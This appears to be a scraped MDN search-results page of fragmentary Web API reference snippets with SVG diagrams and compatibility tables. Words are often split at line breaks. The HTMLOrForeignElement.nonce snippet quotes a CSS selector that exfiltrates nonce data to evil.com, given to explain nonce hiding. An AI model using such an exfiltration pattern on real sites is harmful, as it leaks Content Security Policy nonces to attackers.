... let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows property to get a list of the rows in the table, from whi
ch it looks up row 1 (whi
ch, being a zero-based index, means the second row from the top).
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
HTMLInputElement: invalid event - Web APIs
the invalid event fires when a submittable element has been
checked for validity and doesn't satisfy its constraints.
...when a form is submitted, invalid events are fired at ea
ch form control that is invalid.
... the validity of submittable elements is
checked before submitting their owner <form>, or after the
checkvalidity() method of the element or its owner <form> is called.
...And 2 more matches
HTMLInputElement.stepUp() - Web APIs
ncrements: <input type="time" min="09:00" step="900"> datetime-local 1 (day) same day of the week: <input type="datetime-local" min="019-12-25t19:30" step="7"> number 1 0.1 increments <input type="number" min="0" step="0.1" max="10"> range 1 increments by 2: <input type="range" min="0" step="2" max="10"> the method, when invoked,
changes the form control's value by the value given in the step attribute, multiplied by the parameter, within the constraints set on the form control.
... if the value before invoking the stepup() method is invalid—for example, if it doesn't mat
ch the constraints set by the step attribute—invoking the stepup() method will return a value that does mat
ch the form controls constraints.
...any other value is a multiplier of the step attribute value, whi
ch in this case is 5.
...And 2 more matches
HTMLLIElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmllielement" target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">ht...
...And 2 more matches
HTMLLegendElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmllegendelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle...
...And 2 more matches
HTMLLinkElement.as - Web APIs
the as property of the htmllinkelement interface returns a domstring representing the type of content being loaded by the html link, one of "script", "style", "image", "video", "audio", "track", "font", "fet
ch".
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetas experimental
chrome full support 50edge full support 17firefox full support 56ie full support yesopera full support 37safari full support yeswebview android full support 50
chrome android full support 50firefox android full support 56oper...
...And 2 more matches
HTMLMediaElement.audioTracks - Web APIs
the returned list is live; that is, as tracks are added to and removed from the media element, the list's contents
change dynamically.
... once you have a reference to the list, you can monitor it for
changes to detect when new audio tracks are added or existing ones removed.
... see event handlers in audiotracklist to learn more about wat
ching for
changes to a media element's track list.
...And 2 more matches
HTMLMediaElement.load() - Web APIs
the amount of media data that is prefet
ched is determined by the value of the element's preload attribute.
... this method is generally only useful when you've made dynamic
changes to the set of sources available for the media element, either by
changing the element's src attribute or by adding or removing <source> elements nested within the media element itself.
... load() will reset the element and rescan the available sources, thereby causing the
changes to take effect.
...And 2 more matches
HTMLMediaElement.srcObject - Web APIs
the srcobject property of the htmlmediaelement interface sets or returns the object whi
ch serves as the source of the media associated with the htmlmediaelement.
... the object can be a mediastream, a mediasource, a blob, or a file (whi
ch inherits from blob).
... note: as of mar
ch 2020, only safari supports setting objects other than mediastream.
...And 2 more matches
HTMLMediaElement.videoTracks - Web APIs
the returned list is live; that is, as tracks are added to and removed from the media element, the list's contents
change dynamically.
... once you have a reference to the list, you can monitor it for
changes to detect when new video tracks are added or existing ones removed.
... see event handlers in videotracklist to learn more about wat
ching for
changes to a media element's track list.
...And 2 more matches
HTMLMeterElement - Web APIs
the html <meter> elements expose the htmlmeterelement interface, whi
ch provides special properties and methods (beyond the htmlelement object interface they also have available to them by inheritance) for manipulating the layout and presentation of <meter> elements.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...And 2 more matches
HTMLOrForeignElement.nonce - Web APIs
the nonce property of the htmlorforeignelement interface returns the cryptographic number used once that is used by content security policy to determine whether a given fet
ch will be allowed to proceed.
... in later implementations, elements only expose their nonce attribute to scripts (and not to side-
channels like css attribute selectors).
... nonce hiding helps preventing that attackers exfiltrate nonce data via me
chanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
...And 2 more matches
HTMLQuoteElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlquoteelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
...And 2 more matches
HTMLSelectElement.selectedOptions - Web APIs
syntax var selectedcollection = htmlselectelement.selectedoptions; value an htmlcollection whi
ch lists every currently selected htmloptionelement whi
ch is either a
child of the htmlselectelement or of an htmloptgroupelement within the <select> element.
... html the html that creates the selection box and the <option> elements representing ea
ch of the food
choices looks like this: <label for="foods">what do you want to eat?</label><br> <select id="foods" name="foods" size="7" multiple> <option value="1">burrito</option> <option value="2">
cheeseburger</option> <option value="3">double bacon burger supreme</option> <option value="4">pepperoni pizza</option> <option value="5">taco</option> </select> <br> <button name="order" id=...
...note also the <button>, whose role it is to trigger fet
ching the htmlcollection of selected elements using the selected property.
...And 2 more matches
HTMLTimeElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltimeelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
...And 2 more matches
IDBDatabase.onclose - Web APIs
the onclose event handler of the idbdatabase interface handles the close event, whi
ch is fired when the database is unexpectedly closed.
...}; value a function whi
ch is called when the close event is fired.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
databases - Web APIs
return value a promise that resolves either to an error or a list of dictionaries, ea
ch with two elements, name and version.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetdatabases experimental
chrome full support 71edge full support 79firefox no support nonotes no support nonotes notes see bug 934640.ie no support noopera full support 58safari no support nowebview android full support 71
chrome android full support ...
...And 2 more matches
IDBIndex.keyPath - Web APIs
finally, we iterate through ea
ch record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.append
child(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'keypath' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBIndex.objectStore - Web APIs
the current object store is logged to the console: it should be returned something like this: idbobjectstore { name: "contactslist", keypath: "id", indexnames: domstringlist[7], transaction: idbtransaction, autoincrement: false } finally, we iterate through ea
ch record, and insert the data into an html table.
...+ '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.append
child(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'objectstore' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
IDBKeyRange.bound() - Web APIs
the lower key and upper key mat
ch and either of the bounds are open.
... db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.append
child(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'bound()' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
OfflineAudioContext - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audiocontext" target="_top"><rect x="151" y="1" width="120" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-famil...
...y="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">audiocontext</text></a><polyline points="271,25 281,20 281,30 271,25" stroke="#d4dde4" fill="none"/><line x1="281" y1="25" x2="311" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/offlineaudiocontext" target="_top"><rect x="311" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">offlineaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor offlineaudiocontext.offlineaudiocontext() creates a new offlineaudiocontext instance.
... offlineaudiocontext.suspend() s
chedules a suspension of the time progression in the audio context at the specified time and returns a promise.
...And 2 more matches
PaintWorklet - Web APIs
class
checkerboardpainter { paint(ctx, geom, properties) { // use `ctx` as if it was a normal canvas const colors = ['red', 'green', 'blue']; const size = 32; for(let y = 0; y < geom.height/size; y++) { for(let x = 0; x < geom.width/size; x++) { const color = colors[(x + y) % colors.length]; ctx.beginpath(); ctx.fillstyle = color; ctx.rect(x * size, ...
...y * size, size, size); ctx.fill(); } } } } // register our class under a specific name registerpaint('
checkerboard',
checkerboardpainter); load a paintworklet the following example demonstrates loading the above worklet from its js file and does so by feature detection.
... <script> if ('paintworklet' in css) { css.paintworklet.addmodule('
checkerboard.js'); } </script> use a paintworklet this example shows how to use a paintworklet in a stylesheet, including the simplest way to provide a fallback if paintworklet isn't supported.
...And 2 more matches
PannerNode.coneOuterGain - Web APIs
example in this example, we'll demonstrate how
changing the orientation parameters of a pannernode in combination with coneinnerangle and coneouterangle affects volume.
...the x and z components are always at a 90° to ea
ch other, so we can use the sine and cosine functions, whi
ch are offset by the same amount in radians.
...it's more useful to offset the angle by -90°, whi
ch means the pannernode will point directly at the listener at 0° rotation.
...And 2 more matches
PaymentRequest.abort() - Web APIs
var request = new paymentrequest(supportedinstruments, details, options); var paymenttimeout = window.settimeout(() => { window.cleartimeout(paymenttimeout); request.abort().then(() => { print('payment timed out after 20 minutes.'); }).cat
ch(() => { print('unable to abort, because the user is currently in the process ' + 'of paying.'); }); }, 20 * 60 * 1000); /* 20 minutes */ specifications specification status comment payment request apithe definition of 'abort()' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetabort()
chrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 2 more matches
PaymentResponse.payerEmail - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetpayeremail
chrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... to
change preferences in firefox, visit about:config.ie no support noopera no support nosafari full support yeswebview android no support no
chrome android full support 56 full support 56 no support 53 — 56disabled disabled from version 53 until version 56 (exclusive): this feature is behind the #web-payments preference (needs to be set to enabled).
...And 2 more matches
PaymentValidationErrors - Web APIs
properties error optional a general description of a payment error from whi
ch the user may attempt to recover by retrying the payment, possibly after correcting mistakes in the payment information.
... payer optional a payererrors compliant object whi
ch provides appropriate error messages for any of the fields describing the payer whi
ch failed validation.
... paymentmethod optional any payment method specific errors whi
ch may have occurred.
...And 2 more matches
performance.now() - Web APIs
it used to be the same as t0 of the main context, but this was
changed.
... it's important to keep in mind that to mitigate potential security threats su
ch as spectre, browsers typically round the returned value by some amount in order to be less predictable.
... the precision of the returned value is subject to
change if/when the security concerns are alleviated through other means.
...And 2 more matches
Performance.timeOrigin - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internettimeorigin experimental
chrome full support 62edge full support 16firefox full support 53ie ?
... opera full support 49safari no support nowebview android full support 62
chrome android full support 62firefox android full support 53opera android full support 46safari ios no support nosamsung internet android full support 8.0legend full support full support no support no support ...
...And 2 more matches
PerformanceLongTaskTiming.attribution - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetattribution experimental
chrome full support 58edge full support ≤79firefox no support noie ?
... webview android full support 58
chrome android full support 58firefox android no support noopera android full support yessafari ios ?
...And 2 more matches
PerformanceNavigationTiming - Web APIs
for example, this interface can be used to determine how mu
ch time it takes to load or unload a document.
...;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#d4dde4" fill="none"/><line x1="171" y1="25" x2="201" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/performancenavigationtiming" target="_top"><rect x="201" y="1" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="336" y="30" font...
...-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">performancenavigationtiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface extends the following performanceentry properties for navigation performance entry types by qualifying and constraining them as follows: performanceentry.entrytype read only returns "navigation".
...And 2 more matches
PerformanceResourceTiming.decodedBodySize - Web APIs
the decodedbodysize read-only property returns the size (in octets) received from the fet
ch (http or ca
che) of the message body, after removing any applied content-codings.
... if the resource is retrieved from an application ca
che or local resources, it returns the size of the payload after removing any applied content-codings.
... syntax resource.decodedbodysize; return value the size (in octets) received from the fet
ch (http or ca
che) of the message body, after removing any applied content-codings.
...And 2 more matches
PerformanceResourceTiming.encodedBodySize - Web APIs
the encodedbodysize read-only property represents the size (in octets) received from the fet
ch (http or ca
che), of the payload body, before removing any applied content-codings.
... if the resource is retrieved from an application ca
che or a local resource, it must return the size of the payload body before removing any applied content-codings.
... syntax resource.encodedbodysize; return value a number representing the size (in octets) received from the fet
ch (http or ca
che), of the payload body, before removing any applied content-codings.
...And 2 more matches
PerformanceResourceTiming.transferSize - Web APIs
the transfersize read-only property represents the size (in octets) of the fet
ched resource.
... if the resource is fet
ched from a local ca
che, or if it is a cross-origin resource, this property returns zero.
... syntax resource.transfersize; return value a number representing the size (in octets) of the fet
ched resource.
...And 2 more matches
Performance API - Web APIs
the interfaces support a number of use cases including calculating frame-rates (potentially important in animations) and ben
chmarking (su
ch as the time to load a resource).
... since a platform's system clock is subject to various skews (su
ch as ntp adjustments), the interfaces support a monotonic clock i.e.
...as su
ch, the performance api defines a domhighrestimestamp type rather than using the date.now() interface.
...And 2 more matches
Performance Timeline - Web APIs
performance extensions the performance timeline api extends the performance interface with three methods that provide different me
chanisms to get a set of performance records (metrics), depending on the specified filter criteria.
... the methods are: getentries() returns all recorded performance entries or, optionally, the entries based on the specified name, performance type and/or the initiatortype (su
ch as an html element).
...this interface has the following four properties, and these properties are extended (with additional constraints) by other interfaces (su
ch as performancemark): name the name of the performance entry when the metric was created.
...And 2 more matches
RTCSessionDescription - Web APIs
ea
ch rtcsessiondescription consists of a description type indicating whi
ch part of the offer/answer negotiation process it describes and of the sdp descriptor of the session.
... the process of negotiating a connection between two peers involves ex
changing rtcsessiondescription objects back and forth, with ea
ch description suggesting one combination of connection configuration options that the sender of the description supports.
... value description answer the sdp contained in the sdp property is the definitive
choice in the ex
change.
...And 2 more matches
RTCTrackEvent() - Web APIs
the rtctrackevent() constructor creates and returns a new rtctrackevent object, configured to describe the track whi
ch has been added to the rtcpeerconnection.
... syntax trackevent = new rtctrackevent(eventinfo); parameters eventinfo an object based on the rtctrackeventinit dictionary, providing information about the track whi
ch has been added to the rtcpeerconnection.
... this object has the following properties: receiver the rtcrtpreceiver whi
ch is being used to receive the track's media.
...And 2 more matches
RadioNodeList.value - Web APIs
if the underlying element collection contains radio buttons, the radionodelist.value property represents the
checked radio button.
... on retrieving the value property, the value of the currently
checked radio button is returned as a string.
... if the collection does not contain any radio buttons or none of the radio buttons in the collection is in
checked state, the empty string is returned.
...And 2 more matches
Range.commonAncestorContainer - Web APIs
since a range need not be continuous, and may also partially select nodes, this is a convenient way to find a node whi
ch encloses a range.
...to
change the ancestor container of a node, consider using the various methods available to set the start and end positions of the range, su
ch as range.setstart() and range.setend().
...the listener gets the common ancestors of ea
ch piece of selected text, and triggers an animation to highlight them.
...And 2 more matches
Range.setEnd() - Web APIs
syntax range.setend(endnode, endoffset); parameters endnode the node inside whi
ch the range should end.
... usage notes if the endnode is a node of type text, comment, or cdatasection, then endoffset is the number of
characters from the start of endnode.
... for other node types, endoffset is the number of
child nodes between the start of the endnode.
...And 2 more matches
ReadableStreamDefaultReader - Web APIs
a fet
ch request).
...the supplied reason argument will be given to the underlying source, whi
ch may or may not use it.
... readablestreamdefaultreader.read() returns a promise providing access to the next
chunk in the stream's internal queue.
...And 2 more matches
Response - Web APIs
the response interface of the fet
ch api represents the response to a request.
... you can create a new response object using the response.response() constructor, but you are more likely to encounter a response object being returned as the result of another api operation—for example, a service worker fet
chevent.respondwith, or a simple windoworworkerglobalscope.fet
ch().
... examples in our basic fet
ch example (run example live) we use a simple fet
ch() call to grab an image and display it in an <img> element.
...And 2 more matches
SVGAnimateMotionElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
